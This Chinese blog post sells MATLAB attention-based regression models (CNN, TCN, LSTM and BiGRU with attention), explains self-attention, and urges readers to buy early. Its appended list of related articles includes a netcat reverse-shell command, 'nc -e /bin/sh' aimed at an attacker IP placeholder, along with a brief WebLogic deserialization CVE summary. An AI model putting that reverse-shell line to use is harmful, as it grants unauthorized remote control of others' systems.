CNN/TCN/LSTM/BiGRU-Attention到底哪个模型效果最好?注意力机制全家桶来啦!

       声明:文章是从本人公众号中复制而来,因此,想最新最快了解各类智能优化算法及其改进的朋友,可关注我的公众号:强盛机器学习,不定期会有很多免费代码分享~ 

目录

数据介绍

效果展示

原理简介

代码目录

代码获取


        经常有小伙伴问我,面对如此多的预测程序,到底哪一个模型预测效果的最好?事实上,不存在一种预测效果最好的程序。

        根据“没有免费午餐定理”:不存在一种机器学习算法适合于任何领域或任务。如果有人宣称自己的模型在所有问题上都好于其他模型,那么他肯定是在吹牛。

        也就是说,模型预测效果同时取决于数据和模型的匹配程度,任何算法都有局限性,并不是模型越复杂效果越好(但是新颖的模型肯定更受审稿人喜爱一些)。没有数据空谈模型效果不现实,只有尝试了才知道是否匹配。

        因此,为了解决大家的选择困难症,本期为大家推出了Attention模型全家桶!将CNN/TCN/LSTM/BiGRU-Attention四种多变量回归模型打包到全家桶中,方便大家选择最适合自己数据的模型!

        当然,全家桶价格也是非常优惠的,相当于单买的5折优惠左右!同时,作者在这里承诺,一次购买永久更新!日后也会推出其他算法结合注意力机制的模型,如BiTCN-Attention等等,但如果你之后再买,一旦推出新模型,价格肯定是会上涨的!所以需要创新或对比的小伙伴请早下手早超生!!

数据介绍

        本期采用的数据是经典的回归预测数据集,是为了方便大家替换自己的数据集,各个变量采用特征1、特征2…表示,无实际含义,最后一列即为输出。

        更换自己的数据时,只需最后一列放想要预测的列,其余列放特征即可,无需更改代码,非常方便!

效果展示

        这里以CNN-Attention为例,展示一下模型运行结果(不同模型出图数量与效果可能略有不同,具体可查看全家桶中每个模型的链接):

        训练集预测结果图:

        测试集预测结果图:

        误差直方图:

        线性拟合图:

        网络结构图:

        命令行窗口误差显示:

        以上所有图片,作者都已精心整理过代码,都可以一键运行main直接出图,不像其他代码一样需要每个文件运行很多次!

        适用平台:Matlab2023及以上,没有的文件夹里已经免费提供安装包,直接下载即可!

原理简介

        此处主要为大家讲解下本期全家桶使用的自注意力机制:

        注意力机制最早由Bahdanau提出,通过学习对图像中不同区域的注意力权重,将视觉注意力引入到图像描述生成模型中,从而提升了模型的质量和准确性。后来,注意力机制被广泛应用于其他领域,它通过动态计算注意力权重来适应不同的输入情况。这种机制使得模型能够处理更长的输入序列,可以更好地捕捉序列中的依赖关系。

        自注意力机制在传统注意力机制的基础上进行了进一步改良,通过并行计算,同时计算一句话中所有元素之间的相似性得分,从而获取全局的信息而非单一上下文的信息,这使得自注意力机制能够更全面地理解整个序列的语义,并更好地捕捉元素之间的复杂关系,其相关公式如下所示:

        式中:Wq、Wk、Wv为线性变化矩阵;Q、K、V分别为查询向量(query)、键向量(key)和值向量(value);dk为查询向量和键向量的维度。最后,将注意力权重和值向量进行加权求和,得到自注意力机制的输出。

        多头自注意力机制引入多个单注意力头,每个注意力头都是一个独立的自注意力机制,学习到一组不同的权重和表示。在多头自注意力机制中,输入序列首先通过线性变换映射到多个不同的query、key、和value空间。每个注意力头都会对这些映射后的查询、键和值进行独立的注意力计算,得到每个位置的表示。最后,将模型中每个注意力头的表示通过线性变换和拼接操作来合并,就得到最终的输出表示。

代码目录

        以下所有代码,无需更改代码,直接替换Excel数据即可运行!可以说是非常方便,非常适合新手小白了!

        日后也会推出其他算法结合注意力机制的模型,需要其他深度学习算法结合注意力模型的小伙伴也可以后台私信我~不过一旦推出新模型,价格肯定是会上涨的!所以需要创新或对比的小伙伴请早下手早超生!

代码获取

        1.Attention全家桶获取方式(价格更划算!)

        ①点击下方小卡片,或后台回复关键词:注意力全家桶

        2.CNN-Attention单品:

        ①点击下方小卡片,后台回复关键词,不区分大小写:CNNAttention

        3.TCN-Attention单品:

        ①点击下方小卡片,后台回复关键词,不区分大小写:TCNAttention

        4.BiGRU-Attention单品:

        ①点击下方小卡片,后台回复关键词,不区分大小写:BiGRUAttention

        5.LSTM-Attention单品:

        ①点击下方小卡片,后台回复关键词,不区分大小写:LSTMAttention

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/697466.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

局域网内访问vue3项目|Network: use --host to expose

背景 我希望在相同的局域网内,通过手机访问我在Vue 3项目中展示的效果 遇到的问题 使用Vue CLI的–host选项实现局域网内的应用程序测试 当使用Vue CLI在本地提供服务时,通过使用 --host 选项,你可以指定要公开应用程序的主机。默认情况下&a…

纯福利|手把手教你如何白嫖免费的GPU资源(二)

大家好,我是无界生长。 前段时间写过一篇文章《纯福利|手把手教你如何白嫖免费的GPU资源(一)》,使用Google Colab提供的免费的GPU资源,今天接着写白嫖GPU资源攻略,可获得“长期免费的CPU实例资源…

ARM据称将开发AI芯片,计划在2025年秋季开始量产

KlipC报道:软银集团下的芯片设计公司ARM将成立一个AI芯片部门,目标在2025年推出首批产品。 ARM是日本软银旗下的公司,成立34年,一直在科技行业中扮演着不可或缺的角色。此次,ARM将承担初期开发成本,预计将…

Django模型进阶-多对多关系

在Django中,多对多(Many-to-Many)关系是一种数据库关系,表示一个模型的实例可以与另一个模型的多个实例相关联,同时另一个模型的实例也可以与这个模型的多个实例相关联。换句话说,就是两个模型之间可以存在…

无线网卡网络老断网

无线网卡网络老断网 设置 Intel AX210 无线网卡 路由器华为 AX3 问题及解决 问题 无线网卡连接到 wifi ,连接不通,或者连接上后网络很慢,延时大,掉包。 解决方案 调整如下界面,调整信道后,连接正常。…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时, nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误: 这说明此netcat不支持 -e 参数。 此时可以做如下更改: 使用mkfifo或mknod命令创建一个命名管道,然后使用cat命令读取管道中的内容&…

李飞飞团队关于2024年人工智能发展报告总结 (Artificial Intelligence Index Report)

目录 1 10大核心信息2 AI研究和发展2.1 核心要点2.2 核心对比信息2.3 模型是否会用尽数据2.4 基础模型发展2.5 训练模型成本 3 技术性能3.1 核心要点3.2 重要模型发布情况3.3 AI表现情况3.4 多学科、高难度评估集 (MMMU & GPQA & ARC)3.5 Agents3.6 RLHF & RLAIF3.…

免费思维13招之十:增值型思维

免费思维13招之十:增值型思维 免费思维的另一大战略思维——增值型思维。 为了提高客户的粘性而促进重复性消费,我们必须对客户进行免费的增值型服务。 大家不要把增值型思维与赠品型思维混淆,增值型思维重心在于提高与消费者的粘性而促进重复消费,重心在后端。而赠品型思…

C语言(指针)6

Hi~!这里是奋斗的小羊,很荣幸各位能阅读我的文章,诚请评论指点,关注收藏,欢迎欢迎~~ 💥个人主页:小羊在奋斗 💥所属专栏:C语言 本系列文章为个人学习笔记&#x…

Android 几种系统升级方式详解

目录 ◆ 概述 ● 几种启动模式 ● MISC分区 ● CACHE分区 ● 几种系统升级方式 ◆ Recovery升级 ● 升级包构成,签名,制作 ● 升级脚本 ● 升级过程 ◆ OTA升级 ● 升级包构成,制作 ● 升级脚本 ● 升级过程 ◆ fastboot升级 ◆ ADB升级 几…

【数据结构陈越版笔记】第1章 概述【习题】

1. 碎碎念 我这答案做的可能不对,如果不对,欢迎大家指出错误 2. 答案 1.1 判断正误 (1) N ( log N ) 2 N(\text{log}N)^{2} N(logN)2是 O ( N 2 ) O(N^{2}) O(N2)的。 (2) N 2 ( log N ) 2 N^{2}(\text…

Weblogic < 10.3.6 ‘wls-wsat‘ XMLDecoder 反序列化漏洞(CVE-2017-10271)

1 漏洞概述 CVE-2017-10271 是一个存在于 Oracle WebLogic Server 10.3.6 以下版本中的 XMLDecoder 反序列化漏洞。此漏洞源于 WebLogic 的 WLS-WebServices 核心组件,该组件使用 XMLDecoder 来解析用户传入的 XML 数据。由于 XMLDecoder 在处理某些特定格式的 XML…